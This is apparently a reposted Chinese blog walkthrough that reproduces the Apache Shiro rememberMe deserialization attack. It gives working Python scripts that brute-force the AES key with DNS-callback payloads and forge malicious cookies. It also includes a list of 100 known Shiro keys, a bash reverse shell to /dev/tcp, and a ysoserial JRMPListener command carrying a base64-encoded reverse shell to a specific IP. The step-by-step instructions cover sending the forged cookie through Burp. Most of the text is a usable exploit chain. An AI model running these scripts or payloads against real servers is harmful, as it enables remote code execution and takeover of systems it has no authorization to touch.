shiro反序列化復現


簡介

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。

漏洞影響

只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。

漏洞工具

一台公網服務器(帶有java環境)

dns接收網站 http://www.dnslog.cn/

burp抓包神器

編輯bash網站:http://www.jackson-t.ca/runtime-exec-payloads.html

相應的腳本:

test.py(碰撞密鑰)py3版本

import sys
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64
import time


def scan(key, target, dns):
    target = target  # 掃描目標
    key = key  # 秘鑰
    dns = dns  # 發送的dns

    info_key = base64.b64encode(key.encode('utf-8')).decode('utf-8')
    dns_key = 'http://'+info_key+'.'+dns  # 攜帶base64編碼秘鑰發送dns,獲取執行成功的秘鑰
    print(dns_key)
    #target = "http://localhost:8000/samples_web_war/"       掃描站點
    #cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="               測試秘鑰

    # 創建 rememberme的值
    popen = subprocess.Popen(
        ['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', dns_key], stdout=subprocess.PIPE)
    BS = AES.block_size
    def pad(s): return s + ((BS - len(s) % BS)
                            * chr(BS - len(s) % BS)).encode()

    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    # 發送request
    try:
        r = requests.get(target,timeout=20, cookies={
            'rememberMe': base64_ciphertext.decode()})

        print("掃描目標:{0}   發送DNS域名:{1}    秘鑰:{2}".format(target, dns, key))
    except:
        traceback.print_exc()


if __name__ == '__main__':
    f = open('shiro_key_100.txt', 'r')


    if(sys.argv[1]=='-h'):      #判斷獲取參數是否為-h
        print("使用方法:python3 test.py -f xxx.com -t xxx.dnslog.cn")
        exit(0)

    if(len(sys.argv)!=5):      #判斷輸入參數是否正確
        print("錯誤使用方法,詳細查看-h")    
        exit(0)                            #退出程序

    target = sys.argv[2]             #掃描目標
    dns = sys.argv[4]                #發送dns

    while True:
        key = f.readline()

        if key:
            key = key.replace("\n","")
            scan(key,target,dns)         #依次發送秘鑰
        else:
            break
    f.close()

shell.py(獲取remember值)

# -*- coding: utf-8 -*-
import  sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 密鑰使用檢測成功的密鑰
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #由上面的腳本成功碰撞成功過后修改這里)
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

shiro_key_100(100密鑰)

4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
kPH+bIxk5D2deZiIxcaaaA==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
3qDVdLawoIr1xFd6ietnwg==
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==

 

 

 

 這個文件自己去百度下載吧。

 

下面開始測試

 第一步:抓取目標網站post包。

 

 


還有的是相應包有remember值的cookie;

第二步:用py3運行test.py腳本,查看是否有DNS返回,返回基本都有該漏洞; 

 

 

 打開http://www.dnslog.cn/獲取一個子域名

 

 


在使用腳本:

成功運行,現在只需要看key能否碰到dns,若是碰到,基本就有該漏洞;
 

 

 

 
成功碰到,在去找對應的key值,寫到shell.py里面就可以獲取remember值;

 

 

用py2運行shell.py獲取remember值;(需要修改里面的key值)
繼續運行改腳本: 

 

 下面是攻擊機:
制作反彈shell :bash -I >& /dev/tcp ip/端口 0>&1
http://www.jackson-t.ca/runtime-exec-payloads.html

 

 


在到攻擊機上面運行。

在腳本目錄下運行:
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCAxMjMuNTYuMjYuMjM0LzY2NjYgMD4mMSA=}|{base64,-d}|{bash,-i}"

 

 

 在利用上面獲取的remember值去burp改包發包:

 

 




攻擊機(公網服務器):

 

 

執行成功了,但是這個是windows系統,所以沒有反彈出來,linux是可以的。

因為時間原因,就不再繼續深究windows怎么反彈出來,下次測試出來在發。

若大佬們知道和弟弟說說思路。

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM